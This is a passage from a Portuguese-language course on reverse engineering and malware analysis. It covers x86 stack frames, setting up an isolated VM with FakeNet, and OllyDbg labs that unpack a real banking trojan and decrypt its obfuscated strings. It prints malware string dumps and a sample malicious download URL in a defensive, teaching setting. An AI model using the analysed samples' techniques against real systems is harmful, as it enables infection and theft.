transfere a execução do programa para a função antes de retornar ao código principal. A forma
Engenharia Reversa e Análise de Malware | 33
como a pilha é utilizada pelo programa depende exclusivamente do binário, cada um pode possuir
um jeito diferente de lidar com ela. Agora iremos discutir a convenção mais comum, conhecida
como cdecl.
Muitas funções contêm um prólogo – algumas poucas linhas de código no início da função.
O prólogo prepara a pilha e os registradores para serem utilizados pela função. Da mesma forma um
epílogo no final da função restaura a pilha e os registradores para o estado anterior da chamada da
função.
A lista abaixo enumera a sequência das implementações mais comuns de chamadas de função.
Em seguida, a figura mostra um diagrama do layout da pilha para um stack frame individual, que
deixa clara a organização das pilhas.
Como foi discutido, a pilha é alocada de um modo top-down, com o endereço de memória
mais alto sendo utilizado primeiro. A figura abaixo mostra como é aparência da pilha na memória.
Cada vez que uma chamada de função – CALL – é executada, um novo stack frame é gerado. Uma
Engenharia Reversa e Análise de Malware | 34
função mantém seu próprio stack frame até retornar, nessa hora o stack frame da função que a
chamou é restaurado e a execução é transferida de volta pra ela (para a calling function).
É possível ler dados da pilha sem utilizar as instruções PUSH e POP. Por exemplo, a
instrução MOV EAX, SS:[ESP] irá acessar diretamente o topo da pilha. Isso é idêntico a POP EAX,
exceto que o registrador ESP não é impactado. A convenção utilizada depende do compilador e
como ele está configurado.
A arquitetura x86 fornece instruções adicionais para empilhar e desempilhar itens, as mais
populares são PUSHA e PUSHAD. Essas instruções colocam todos os registradores na pilha e são
comumente utilizadas com POPA e POPAD, que retiram todos os registradores da pilha. As
instruções PUSHA e PUSHAD funcionam da seguinte forma:
- PUSHA coloca na pilha registradores 16-bit na seguinte ordem: AX, CX, DX, BX, SP, BP,
SI e DI.
- PUSHAD coloca na pilha registradores 32-bit na seguinte ordem: EAX, ECX, EDX, EBX,
ESP, EBP, ESI e EDI.
Essas instruções são normalmente encontradas em shellcodes quando alguém quer salvar o
estado atual dos registradores na pilha, dessa forma ele pode restaurá-los mais tarde. Compiladores
raramente utilizam essas instruções, então encontrá-las com muita frequência indica que alguém
manualmente codificou o assembly e/ou o shellcode.
Engenharia Reversa e Análise de Malware | 36
programateste.exe -r filename.txt
argc = 3
argv[0] = programateste.exe
argv[1] = -r
argv[2] = filename.txt
Agora a listagem abaixo mostra como o código C acima fica quando é compilado, ou seja,
na linguagem assembly.
Engenharia Reversa e Análise de Malware | 37
Cada linha do código, isto é, cada endereço de memória que é mostrado à esquerda é
chamado de offset. O argc é comparado com 3 em , e o argv[1] é comparado com -r em isto é
feito com o uso da função strncmp.
Note como argv[1] é acessado: primeiramente a localização do início do array é carregada
em EAX, e então 4 (offset) é adicionado ao EAX para obter o argv[1]. O número 4 é utilizado
porque cada entrada no array argv é um endereço para uma string e cada endereço possui 4 bytes de
tamanho em sistemas 32-bit. Se -r é fornecido na linha de comando, o código que se inicia em
será executado, que é quando nós vemos o argv[2] sendo acessado através do offset 8 do argv,
ou seja, assim como fez com o 4, ele utiliza o início do array argv e adiciona 8 bytes. Dessa forma é
fornecido um argumento para a função DeleteFileA.
O foco do curso não é cobrir todo o conteúdo da arquitetura x86 e da linguagem assembly. A
intenção nesse capítulo foi de prover informações essenciais para lidar com a engenharia reversa de
malware.
Para conteúdo adicional existem fontes que discutem com detalhes esses assuntos, seguem
Engenharia Reversa e Análise de Malware | 38
Manuais Intel
Nesse Lab iremos ver na prática como uma pilha é formada na memória, praticaremos os
conceitos discutidos nesse capítulo como o layout da pilha, formação do stack frame, passagem de
parâmetros, prólogo, epílogo, acesso a variáveis locais, endereço de retorno, uso dos registradores,
etc. O Lab também será útil para apresentar a ferramenta OllyDbg, muito utilizada na engenharia
reversa de malware. O executável estudado será um trojan-banker real.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- OllyDbg
- Arquivo: Lab-02-01.exe
Passo a Passo
1- Abra o OllyDbg.
1. Código disassembly: essa janela exibe o código do programa que está sendo debugado. A
linha marcada é a próxima instrução que será executada.
2. Registradores: essa janela exibe o estado atual dos registradores do programa que está
sendo debugado. Quando o código vai sendo executado, esses registradores vão mudando da
cor preta para a cor vermelha caso a instrução executada modifique seu valor.
3. Memory dump: essa janela exibe o dump da memória que está sendo utilizada pelo
programa.
4. Pilha: essa janela exibe o estado atual da pilha na memória. Ela sempre exibirá o topo da
pilha a menos que você a trave clicando com o botão direito do mouse em cima dela e
escolhendo a opção “Lock address”.
Clicando com o botão do mouse em cima em uma dessas janelas ela passará a ser o foco e os
comandos e atalhos de teclado terão efeitos sobre ela.
4- Clique na janela referente ao código, pressione o atalho Ctrl + G (G de "Go") e insira o endereço
Engenharia Reversa e Análise de Malware | 41
453E58. Isso nos levará diretamente ao offset que queremos, com o trecho de código abaixo.
Obs.: Para o Olly destacar CALLs e JUMPs com cores diferentes, clique na janela de código,
clique com o botão direito e selecione Appearance – Highlighting – Jumps and calls.
Destacado em azul vemos uma chamada a função que está no endereço 00444230. Antes
dessa chamada vemos quatro PUSHs. Como discutimos, a instrução PUSH serve para colocarmos
itens na pilha e quando isso é feito antes de uma chamada de função provavelmente esses valores
são os argumentos (ou parâmetros) passados para a função. Com isso já podemos deduzir que essa
função possui quatro parâmetros.
5- Agora vamos observar a execução do programa para vermos como a pilha é formada na
memória. Clique em cima do primeiro PUSH que está no offset 00453E45. A linha será destaca,
agora pressione F2. Isso faz com que seja colocado um breakpoint nessa instrução. Quando o
programa executar irá parar nessa linha, o que nos permitirá observar com cuidado os valores da
memória e dos registradores.
6- Iremos executar o programa, para isso pressione o F9. Vemos que o offset ficou em vermelho e
preto e no rodapé da janela do OllyDbg há uma indicação de que o programa realmente parou em
nosso breakpoint.
7- Podemos debugar o programa pressionando F7 (step into) ou F8 (step over), isto é, executar cada
instrução linha a linha. A diferença do step into para o step over é que quando encontrar uma
chamada de função o step into entrará nessa função e executará linha a linha todas as suas
instruções. Já o step over pulará o código interno da função e sua execução irá para a instrução logo
abaixo do CALL, ou seja, o retorno da função. No nosso caso utilizaremos o F7 já que queremos
debugar o código interno da função.
8- Seguimos pressionando F7 até chegar à instrução CALL, a cada instrução executada repare
Engenharia Reversa e Análise de Malware | 42
cuidadosamente nos efeitos que elas provocam nas janelas dos registradores e principalmente da
pilha. A pilha terá a aparência abaixo.
No Olly vemos que ela vai crescendo de baixo para cima, porém podemos reparar que é do
endereço de memória maior para o menor, top-down. Vemos então que os quatro parâmetros para a
função já estão na pilha.
Nas duas primeiras linhas observamos o epílogo da função, onde o EBP é salvo na pilha e
em seguida recebe o valor do ESP para servir como base pointer, assim como discutimos o EBP será
utilizado para acessar variáveis locais através da expressão [EBP-valor] e parâmetros através de
[EBP+valor]. Na terceira linha vemos o uso da instrução SUB que subtrai do ESP 0x0C bytes, isso
é para reservar no stack frame espaço para as variáveis locais, que vemos sendo acessadas a partir
do offset 00444252.
10- Seguindo com o F7 até o offset 00444236, instrução abaixo do SUB, teremos o seguinte layout
da pilha.
Engenharia Reversa e Análise de Malware | 43
Vemos nesse stack frame tudo o que já discutimos até aqui. Os quatro valores abaixo
(endereços mais altos) são os quatro parâmetros passados para a função. Acima há o endereço de
retorno do programa, o OllyDbg já facilita a nossa vida no comentário em vermelho dizendo
justamente isso, esse valor é colocado na pilha automaticamente quando a instrução CALL é
executada, assim quando terminar a execução da função o programa saberá para onde voltar no
código que a chamou.
Acima do endereço de retorno há o EBP que foi salvo na pilha e será usado como ponteiro
base.
A última instrução executada até aí foi a SUB ESP, 0C, o que ela fez? Subtraindo o ESP que
é o topo da pilha ela reservou 12 bytes (0x0C) para variáveis locais nos endereços 0012F8CC,
0012F8C8 e 0012F8C4. Esse último é agora o topo da pilha, o valor que está no ESP.
E porque esses três endereços reservados estão apresentando um conteúdo estranho? Lixo
deixado por outras funções, assim que forem utilizados serão sobrescritos.
É importante entender o que foi discutido até aqui, pois é essencial para a engenharia reversa
de malware, caso tenha alguma dúvida sinta-se à vontade para perguntar, revisar, reler, até não
restar dúvidas.
Engenharia Reversa e Análise de Malware | 44
Antes de executar um malware é necessário ter um ambiente seguro para evitar surpresas
desagradáveis. Antes de analisá-lo nunca sabemos o que ele pode provocar em nosso ambiente de
rede e computador, então de forma alguma devemos executá-lo diretamente em um computador de
produção ou de uso pessoal. Isso deverá ser feito em um sistema previamente preparado para essa
finalidade.
Atualmente o jeito mais comum e barato de se analisar um malware é com o uso máquinas
virtuais. Nesse curso iremos focar nesse tipo de ambiente, porém nada impede que tendo os
recursos necessários, a pessoa analise o malware um uma máquina real exclusiva para essa
finalidade.
Máquinas virtuais (virtual machines, VM) são como computadores dentro de outro
computador. Como é possível ver na figura abaixo, um SO convidado (guest) é instalado em um SO
hospedeiro (host) através de uma máquina virtual. Existem várias vantagens em utilizar essa
estrutura, algumas das principais são: o SO convidado fica isolado do host, os malwares que rodam
na máquina virtual não atingem o host (a menos que exista uma vulnerabilidade 0-day na VM), caso
o SO da VM seja danificado é só restaurar para o estado original, a VM toda está contida em poucos
arquivos, o que torna fácil o backup e duplicação, etc.
Existem muitas alternativas de máquinas virtuais disponíveis, cada um pode utilizar a
plataforma de sua preferência, porém como sugestões para utilização na análise de malware são
indicadas a VMWare (http://www.vmware.com) e a Oracle VirtualBox
(https://www.virtualbox.org/).
Engenharia Reversa e Análise de Malware | 45
Quando lidamos com malware devemos tomar alguns cuidados mesmo em máquina virtuais.
Primeiramente sempre manter o software de virtualização atualizado. Além das atualizações
fornecerem recursos adicionais para a VM, elas são utilizadas para corrigir falhas de segurança da
plataforma. Atualizando assim que for disponibilizado pelo fabricante nos deixa com as VMs livres
de vulnerabilidades conhecidas assim o malware só conseguirá “escapar” da máquina virtual através
de uma vulnerabilidade 0-day.
Outra questão crítica que devemos ficar bastante atentos diz respeito à conexão de rede da
máquina virtual, caso ela esteja mal configurada o malware poderá infectar o computador
hospedeiro e até outros hosts da rede caso esteja em uma LAN, fora isso a VM ainda poderá se
tornar um bot para atacar máquinas de terceiros, enviar spams, hospedar conteúdo ilegal, etc.
Configuração da Rede
Lidar com a rede em máquinas virtuais requer o entendimento das configurações de rede que
são oferecidas nas plataformas de virtualização mais comuns. Vejamos na tabela abaixo os modos
de rede mais utilizados.
Acesso Host-only NAT/Shared Bridged
VMs podem acessar outras VMs Sim Sim Sim
VMs podem acessar o hospedeiro Sim Sim Sim
VMs podem acessar outros computadores Não Sim Sim
O hospedeiro pode acessar VMs Sim Sim Sim
Outros computadores podem acessar VMs Não Não Sim
Engenharia Reversa e Análise de Malware | 46
Host-only: Isso criada uma LAN privada compartilhada em o hospedeiro e suas VMs. VMs
não podem se comunicar com computadores externos.
NAT/Shared: VMs podem acessar outros computadores da LAN ou Internet, mas as
conexões aparecerão vindas do IP do hospedeiro. Os outros computadores não podem iniciar
conexões com a VM a menos que seja configurado um redirecionamento de portas (port-
forwarding) no computador hospedeiro.
Bridged: VMs compartilham o adaptador Ethernet físico do hospedeiro, mas possuem seus
próprios endereços IPs e MACs. As VMs aparecem na mesma subnet do hospedeiro. Essa é
a única configuração que permite outros computadores iniciarem conexões de entrada na
VM. E também é o único modo que permite que outras máquinas externas, como por
exemplo, um roteador ou firewall, distinguir o tráfego gerado pelo hospedeiro do tráfego das
VMs.
seu próprio IP e MAC, como se fosse uma máquina física da rede, o IP poderá ser configurado
manualmente ou obtido através do DHCP.
Informações Pessoais
Não deixe na máquina virtual nenhuma informação pessoal que possa identificar o
computador ou a pessoa que o utiliza. Por exemplo, devem ser utilizados nomes genéricos para
nome do computador, nome de usuário, nome de pastas, grupos de trabalho, etc.
Recursos Adicionais da VM
Pastas Compartilhadas
Um recurso que pode ser utilizado para a troca de arquivos entre o computador hospedeiro e
a máquina virtual é o de pastas compartilhadas. Permite mapear uma pasta do hospedeiro dentro da
máquina virtual, assim tudo que for colocado nessa pasta estará disponível para os dois sistemas.
Como medida de segurança caso utilize esse recurso, marque a pasta compartilhada como sendo
somente-leitura, assim a máquina virtual não conseguirá gravar nada nela e quando necessário
habilite a gravação.
Ferramentas
Após as configurações iniciais na máquina virtual é hora de instalar as ferramentas que serão
utilizadas na análise de malwares. É recomendado que se instale previamente todas as ferramentas
listadas no capítulo 1.4 para deixar o ambiente pronto para receber o malware.
Snapshots
Tirar snapshots é um conceito único das máquinas virtuais. Eles permitem salvar o estado
atual da VM e restaurá-lo posteriormente quando necessário. Isso é muito útil na análise de malware
Engenharia Reversa e Análise de Malware | 48
porque após ter o código malicioso executado e coletado as informações que queríamos, podemos
retornar ao estado original do sistema, que estava limpo antes da execução.
Após ter instalado todas as ferramentas tire um snapshot da VM para servir de estado inicial
da análise. Quando for necessário atualizar ferramentas tire um novo snapshot.
Nesse Lab iremos trabalhar com as configurações de rede da máquina virtual. Simularemos
o ambiente de rede com a ferramenta FakeNet que permite responder requisições dos protocolos
HTTP, HTTPS, DNS, ICMP e SMTP. Utilizando essa estrutura de rede não é necessário deixar o
malware sair para redes externas, o que contribui para a segurança da análise. Vale dizer também
que há malwares que quando não encontram um ambiente de rede funcional eles não executam
nada, o que dificulta a análise, por isso é tão importante ter um ambiente de rede configurado,
mesmo que simulado.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- FakeNet (http://practicalmalwareanalysis.com/fakenet/)
- Wireshark
- Arquivo: Lab-03-01.exe
Passo a Passo
1- Na sua máquina virtual configure a placa de rede para o modo Host-only conforme figura
Engenharia Reversa e Análise de Malware | 49
abaixo.
2- Através do CMD com o comando ipconfig podemos confirmar o IP atribuído à máquina virtual.
3- Se formos à máquina física e executarmos o mesmo comando podemos ver que na placa de rede
virtual foi atribuído um IP da mesma classe, formando assim uma rede privada entre as duas
máquinas (física e virtual).
4- Já com a ferramenta FakeNet instalada, execute-a através do FakeNet.exe. Com isso ela já está
escutando em diversas portas simulando um ambiente de rede completo.
Engenharia Reversa e Análise de Malware | 50
5- Diferente de outras ferramentas que só simulam os serviços de rede, o FakeNet simula o serviço
e ainda responde de acordo com a solicitação. Por exemplo, se o malware solicitar o download do
arquivo http://www.evilsite.com/infected.exe, o FakeNet vai capturar essa solicitação e fornecer um
arquivo .EXE genérico para deixar a simulação mais realista. Isso vale também caso sejam
solicitados outros tipos de arquivos, que se encontram dentro da pasta FakeNet\defaultFiles\.
6- Agora vamos ver na prática como funciona, execute o malware Lab-03-01.exe e veja o que o
FakeNet irá retornar.
Cache-Control: no-cache
[Sent http response to client.]
Com isso já descobrimos que o malware faz download de quatro arquivos swf do site
dl.dropbox.com. Caso fossemos prosseguir com a análise poderíamos baixar esses arquivos
manualmente e analisá-los.
Executáveis ainda são os malwares mais comuns, dos milhares de spams phishings que
chegam às caixas postais todos os dias a maioria tem a intenção de instalar algum executável
malicioso no Windows.
A análise de um executável desconhecido costuma seguir uma sequência pré-estabelecida de
passos, desse modo conseguimos progressivamente extrair as informações que desejamos. Nesse
capítulo utilizaremos as técnicas da análise estática e no próximo da análise dinâmica.
Vejamos agora uma breve descrição dessas etapas, lembrando que para iniciar a análise
devemos já estar com a máquina virtual configurada, com todas as ferramentas instaladas e com um
snapshot limpo.
Quando vamos iniciar a análise de um arquivo malicioso não temos nenhuma informação
prévia sobre ele, não sabemos nem mesmo se é um executável legítimo, mesmo que ele tenha no
Windows a extensão.EXE isso não garante que ele seja um executável.
Então, como já vimos, a primeira coisa que devemos fazer é obter um perfil inicial do
arquivo. Para isso utilizamos as ferramentas identificadoras. Com elas saberemos se o malware em
questão é um executável, se ele possui algum tipo de proteção e caso afirmativo qual ferramenta
buscar para remover essa proteção e também na ausência da proteção saberemos o compilador
utilizado. Para obter resultados melhores é recomendável utilizar mais de uma ferramenta pois há
arquivos que são identificados em uma ferramenta e na outra não.
Após a identificação de uma proteção no arquivo é hora de buscar uma ferramenta que
remova essa proteção. As proteções mais comuns de serem encontradas são os packers, dependendo
do grau de sofisticação e popularidade do packer pode ser fácil ou difícil encontrar uma ferramenta
de unpacking.
A ferramenta Exeinfo PE nos ajuda na tarefa de buscar um unpacker, assim que identifica
uma assinatura de packer ela nos apresenta uma dica de qual unpacker procurar. De qualquer forma,
mesmo sem a dica podemos buscar pelos termos “unpacker” ou “unpack” e o nome_do_packer.
Engenharia Reversa e Análise de Malware | 54
Mesmo encontrando o unpacker isso não é garantia que conseguiremos retirar a proteção,
muitas vezes as versões não são compatíveis ou acontece algum erro e prejudica a execução.
Por fim, para nos certificarmos que o arquivo agora está livre de proteções devemos
submetê-lo novamente à ferramenta de identificação, dessa vez ela provavelmente irá exibir o
compilar do arquivo.
4.3. Strings
Strings são sequências de caracteres, como por exemplo “essa frase”. Geralmente elas estão
dentro do malware em forma de mensagens, URLs, conexões de banco de dados, caminhos de
arquivos, chaves de registro, nome de funções, etc.
Buscar por strings é um jeito fácil e rápido de obter dicas da funcionalidade do malware.
Isso pode ser feito com o utilitário strings das Sysinternals, ele encontra tanto strings em ASCII
quanto UNICODE.
O ASCII e o UNICODE são terminados com um caractere NULL que indica para o
programa que a sequência está completa. ASCII usa 1 byte por caractere, UNICODE 2 bytes.
Vejamos a representação de duas strings nesses formatos.
ASCII
M A L W A R E NULL
4D 41 4C 57 41 52 45 00
UNICODE
M A L W A R E NULL
4D 00 41 00 4C 00 57 00 41 00 52 00 45 00 00 00
O utilitário strings, em sua configuração padrão, busca por sequências de no mínimo três
caracteres seguidos de um terminador NULL, nos dois formatos. Isso pode ser alterado através dos
parâmetros do programa.
Nos trojans-bankers brasileiros é muito comum no momento que estamos buscando por
strings nos depararmos com uma espécie de criptografia. Isso é utilizado para esconder de olhos
Engenharia Reversa e Análise de Malware | 55
curiosos informações importante do malware, já que na maioria das vezes eles utilizam strings de
URLs, caminhos de arquivos ou conexão com banco de dados.
Apesar de a primeira vista essas strings parecem um empecilho para a análise, há meios para
reverter essa ofuscação, basicamente sempre após cada string criptografada haverá a chamada da
função que faz a descriptografia, então aí basta pegarmos o retorno dessa função com a string em
texto plano.
4.5. Debugging
O debugger nos auxilia nesse processo de executar trechos do código do malware e observar
os resultados e alterações que ele provoca na CPU e memória. Através dele conseguimos identificar
e até modificar o código do malware que está na memória.
O OllyDbg permite alterar uma instrução assembly em tempo de execução, para isso basta
dar dois cliques em cima na instrução ou apertar o <SPACE>.
Nesse Lab iremos praticar os conceitos aprendidos até aqui, utilizaremos as ferramentas para
identificar o malware e descobrir pistas de suas funcionalidades. Veremos que mesmo um arquivo
aparentemente simples pode esconder informações interessantes.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE
- strings
- OllyDbg
-Arquivo: Lab-04-01.scr
Engenharia Reversa e Análise de Malware | 56
Passo a Passo
1- A primeira coisa é obter um perfil inicial do arquivo com nossas ferramentas identificadores
PEiD e Exeinfo PE.
2- Vemos que as duas ferramentas identificaram no arquivo a presença do packer UPX, inclusive o
Exeinfo PE deu dica de como remover o packer. O UPX é o mais popular packer freeware
disponível na Internet. Esse packer foi projetado justamente para comprimir os executáveis, nada
além disso. Mesmo assim os atacantes ainda o utilizam esperando obter alguma ofuscação de
código. De fato ele consegue esconder algumas strings como podemos ver na listagem abaixo,
porém o próprio UPX possui a função de unpacking “upx –d”.
3- Com ajuda da ferramenta strings.exe vemos abaixo as strings principais encontradas no arquivo
ainda compactado com o UPX.
Engenharia Reversa e Análise de Malware | 57
:mpeiraProject1
C:\Arqu
ivos de p
gramas\Mic
ft Visual Studio\VB98
6.OLB
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
040904B0
CompanyName
ProductName
Project1
FileVersion
1.00
ProductVersion
1.00
InternalName
loader_beyb_3
OriginalFilename
loader_beyb_3.exe
KERNEL32.DLL
MSVBVM60.DLL
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess
Nota-se que realmente o arquivo estava compactado, a taxa de compressão era de 35%.
Agora sim, foi identificado o compilador utilizado, MS Visual Basic 5.0 ou 6.0.
6- Possivelmente encontraremos novas strings agora que está descompactado. Strings.exe entra em
ação novamente.
Engenharia Reversa e Análise de Malware | 59
mpeiraProject1
IXA\Esp
Form1
Form1
Form1
Timer5
Timer4
Timer3
Timer2
Timer1
VB5!
loader_beyb_3
Project1
Project1
@*\AC:\Documents and Settings\dilma\Desktop\Loader_BEYBAO\Project1.vbp
Form1
Module1
Module2
Module3
Module4
Project1
\Tx^
Timer4
C:\Arquivos de programas\Microsoft Visual Studio\VB98\VB6.OLB
Timer3
Timer5
Timer1
Form
Timer2
nwTW2wACnwK72kA7nwT
nkJz2SN8nSjz2SYmnHK7nSYunH2OnkjF
h,9@
CloseHandle
__vbaStrCat
Engenharia Reversa e Análise de Malware | 60
nkjOykNcnk272FAC2HAW2FYFnHAWnFYWnSpWKFKFnH2z2FYunSK
kernel32
LoadLibraryA
CreateThread
hT:@
WaitForSingleObject
FreeLibrary
GetProcAddress
h<;@
advapi32.dll
RegCreateKeyA
RegQueryValueExA
RegCloseKey
h(<@
RegSetValueExA
hp<@
nkKOnkYmnHKWnSYunSAznFYWnFpt/kA7nkYW...nF2O/SjWnFpO2FYWnA272FNwnF2Oyk
Y7
nSTOnwY7nAYO2kjOnF2F2Spo2Sj
2SjtKFpz
2SJtnFsw2Sj
nFHzykjunFHt/wNTnHKt/wY7nSKt2wKonwfFKk/TnTKFKkAFnk2
2SjtyK
nkjOykNcnSKO/SjznF27KFYunFYOnkscnkpOykYFnSfW/SKFnH2O2kjFnF2WKFKFnH2z2FYun
SK
VBA6.DLL
__vbaCastObj
__vbaNew
__vbaExitProc
__vbaFreeStrList
__vbaStrCmp
__vbaFreeVar
__vbaFreeStr
__vbaStrCopy
Engenharia Reversa e Análise de Malware | 61
B(__vbaFreeVarList
__vbaVarCat
__vbaStrVarMove
__vbaStrMove
__vbaOnError
__vbaObjSet
__vbaEnd
__vbaFreeObj
__vbaNew2
__vbaHresultCheckObj
nHAO/wN8nH2Onwj7nHAt/kY7nH2OKC
nS2O/kYOnHKz2SjCnH2t/kY7nH2OKC
nHKO/SjOnHpOnwYWnFft/kY7nH2OKC
nk2W2k/wnTY7KFKWnwK72f
nSfO/SjWnF2OnkYFnSTz2SscnSKO2Ssc2FjF2k2z2Fp...tnSAz2FN8nFAz2SYFnSAt/kYFnHYO/J
InstancesOf
nwKO2kj7nSTt2wAFnHYznkjtnS2OnK
nSfO/SjWnF2OnkYFnSTz2f
nwHO/kYunFKOykYmnH2t2wKFnSTznwYmnH2O/SYz
nkAz2FYWnFpt2wKunwK
nwpznkj7nSHO/kYm2FYFnS2O
nkJO2kjFnF2znFN8nFpOnJ
__vbaVarTstEq
__vbaVarMove
nFpOnkj7nHYz2SNcnSTW/SY7nSTOnwN8nF2
nSKO2kY7nHYz2F2m
nSKO2kY7nHYz2F2t
nSKO2kY7nHYz2F2F
__vbaVarTstNe
__vbaFreeObjList
nkjOykNc2F2F2Sa8nTYz2wYWnFpO2kj7nSHO/kYznk2zykjFnFKOnkNT
nFjOykNcnHKOnFNTnFKz2FnUn7pOykNTnFJOnkjtnF2O/SN...wYWnFpz2FN8nHAO2kj7nSAz
/J
Caption
Engenharia Reversa e Análise de Malware | 62
nk2WykAFnkK7nk/Tnkp7/S/8nkK
nA2z2FjunF2znwYWnHKF2F2tnA2
nSHOnkYOnFpO2kNTnSAt/kY7nH2OKC
nF2OywY7nHYO2FjOnFjt/kY7nH2OKC
nTKO/SqUnSHOKFNwnSTt2wKOnSHz2SYWnSYO/SjonA2OnS..FpOnkYOnHYzywscnSAzyw
YW
nA27nFYtnkJOKFjWnSjOykNcnA2O2SYt2HAOnFjCnS2
nA27nFYtnkJOKFjWnSjOykNcnA2O2kYtnHAt/kYznFJO2C
nA27nFYtnkJOKFjWnSjOykNcnA2O2FYWnSYt/kYznFJO2C
nA27nFYtnkJOKFjWnSjOykNcnA2znkNcnSHt/kYznFJO2C
nF2zykjFnFKOnkNTnSKz2SYunFYOnK
nkfWywAonkfWywAonkfWyJ
nkfWywAonkfWywa8
__vbaFPInt
__vbaStrR8
__vbaLenBstr
__vbaStrI4
__vbaNextEachCollAd
__vbaLateMemCallLd
__vbaForEachCollAd
__vbaBoolVar
__vbaVarLateMemCallLd
__vbaObjVar
__vbaObjSetAddref
nwKOKFNwnkpOnkYznSHz2Fj7nSAz2SAFnSAz2SjOnSAz2f
nwKOKFNwnkAO/kjtnSAOnFYunF2znwYWnFpW2FYWnFpznSYWnFp
nk27/SKOnkKWnFKmnkp7nkawnTKOykYFnFpO/SjFnHYOn...O2SNUnSAO2Fj7nF2WKC
__vbaVarCmpEq
__vbaBoolVarNull
__vbaVarDup
__vbaInStr
__vbaLsetFixstr
__vbaStrToUnicode
__vbaSetSystemError
Engenharia Reversa e Análise de Malware | 63
__vbaStrToAnsi
__vbaGenerateBoundsError
__vbaPowerR8
__vbaFpI4
__vbaErrorOverflow
__vbaInStrVar
__vbaVarSub
__vbaI2Var
__vbaI2I4
InternalName
loader_beyb_3
OriginalFilename
loader_beyb_3.exe
Algumas strings foram truncadas para caber na folha. Nessa listagem podemos identificar
algumas coisas:
Presença de componentes e funções utilizadas pelo MS Visual Basic.
Nome e local de salvamento do projeto original:
C:\Documents and Settings\dilma\Desktop\Loader_BEYBAO\Project1.vbp
Nome original do executável: loader_beyb_3.exe.
Strings suspeitas que seguem um padrão aleatório de caracteres, possivelmente
criptografadas:
nk2WykAFnkK7nk/Tnkp7/S/8nkK
nA2z2FjunF2znwYWnHKF2F2tnA2
nSHOnkYOnFpO2kNTnSAt/kY7nH2OKC
nF2OywY7nHYO2FjOnFjt/kY7nH2OKC
7- Vamos abrir agora o arquivo Lab-04-01.scr no OllyDbg. Após o arquivo aberto clique com o
botão direito em cima da janela de código e Search for – All referenced text strings.
Engenharia Reversa e Análise de Malware | 64
8- O Olly exibe em uma nova janela todas as strings encontradas no executável. Podemos rolar a
janela até encontrar as strings criptografadas. Dois cliques em cima de qualquer string da janela nos
leva ao código do malware onde essa string é utilizada. Clicando por exemplo na string do endereço
0x00407684 o Olly nos leva ao código abaixo.
Destacado em cinza a string que selecionamos, abaixo dela vemos uma chamada à função
referenciada pelo ESI e mais abaixo quatro PUSHs e uma chamada a outra função:
CALL 0040A7A0.
9- Vamos voltar à janela de Strings, isso pode ser feito minimizando a janela da CPU ou através do
Engenharia Reversa e Análise de Malware | 65
Menu Window – Text strings. Selecione outra string qualquer que aparenta estar criptografada,
como por exemplo a do endereço 0x00408616. O código onde ela está sendo utilizada é esse
abaixo.
10- Se formos fazendo isso com todas as strings criptografadas iremos encontrar o mesmo código.
Parece que essa função que está no endereço 0040A7A0 tem alguma relação com a string
criptografada. Se quisermos saber quais locais do código (endereços) que chamam essa mesma
função, o Olly tem uma opção que é conhecido como referências cruzadas (xref). Podemos buscar
as xref selecionando a linha de código da função, clicando com o botão direito e depois em Find
references to – Call destination.
São encontrados inúmeros locais no código onde essa função é utilizada, possivelmente em
todos os locais onde haja as strings criptografadas.
Engenharia Reversa e Análise de Malware | 66
11- Podemos confirmar nossa teoria através do debugging, vamos até o início dessa função no
endereço 0x0040A7A0 e colocar um breakpoint com o F2, assim na primeira vez que o programa
for acessar essa função ele irá parar no nosso breakpoint. Agora execute o programa com F9.
12- A execução do programa parou no nosso breakpoint e agora para descobrirmos onde quem no
código chamou essa função a gente pode olha pra pilha. Recordando as aulas sobre a pilha, assim
que é feita uma CALL o endereço de retorno é colocado na pilha, então saberemos quem chamou a
função.
13- Encontramos o trecho de código que chamou pela primeira vez a função suspeita.
Vemos logo no começo uma string criptografada e aquela mesma estrutura de código
analisada anteriormente. Então, para enfim descobrirmos o que essa função retorna, podemos
colocar um breakpoint nessa string criptografada que está no endereço 0x00405D4F. Antes de
colocar o breakpoint vamos desativar o outro, se clicarmos no botão B da barra de ferramentas do
OllyDbg é aberta uma janela com todos os breakpoints ativos, só selecionar o que quer desativar e
apertar Del. Agora sim coloque o breakpoint no endereço acima, reinicie o debugger com Ctrl + F2
, escolha Sim e execute novamente com F9.
14- A execução parou na instrução da string criptografada, agora vamos apertando F8 até a linha
abaixo da CALL 0040A7A0.
Já conseguimos ver o retorno da função, o Olly nos mostra que o EAX (que costumar ser o retorno)
possui a string “APPDATA”, ou seja, é a string descriptografada.
Criptografada Descriptografada
nwTW2wAcnwK72kA7nwT APPDATA
Engenharia Reversa e Análise de Malware | 68
15- O malware possui inúmeras outras strings criptografadas, só descobrimos o que uma significa,
como poderíamos descobrir outras? Há um método manual que podemos utilizar para fazer isso,
veja nesse código a instrução que utiliza a string criptografada:
Sabemos por essa instrução que a primeira string que foi descriptografada estava no
endereço 0040386C, o operando origem do MOV. No momento que o debugger parar a execução
nessa instrução, podemos alterar esse endereço da string para apontar para outra. Para descobrir
endereços de outras strings é só abrir a janela de Strings novamente e reparar na instrução que a
utiliza, terá o endereço dela assim como nessa instrução que vimos.
16- Vamos descobrir o que a string criptografada que está no endereço: 004041B0 significa.
Reinicie o debugger, execute o malware, o breakpoint vai ser atingido, agora pressione a barra de
espaço <SPACE> para editar a instrução assembly, conseguimos modificar a instrução que está na
memória, apague o endereço original que está lá (0040386C) e insira o endereço da outra string que
queremos descriptografar (004041B0), clique em Assemble e depois no X para fechar a janelinha.
Vemos por baixa da janela que o código já foi modificado, em vermelho os opcodes
modificados e a string que aparece à direita já é outra.
17- Agora é só ir executando linha a linha com o F8 até passar pela CALL da função e vermos o
retorno no EAX.
Engenharia Reversa e Análise de Malware | 69
18- Talvez esse malware esconda mais informações interessantes nas outras strings criptogradas,
que tal repetir esse mesmo processo, dos passos 16 e 17. Tente descobrir o que as strings dos
endereços abaixo significam:
0040429C
00404310
0040439C
004043C8
00404400
Nesse Lab iremos analisar um executável malicioso com a ajuda de um descompilador para
facilitar o trabalho.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE, RDG
- WinRAR
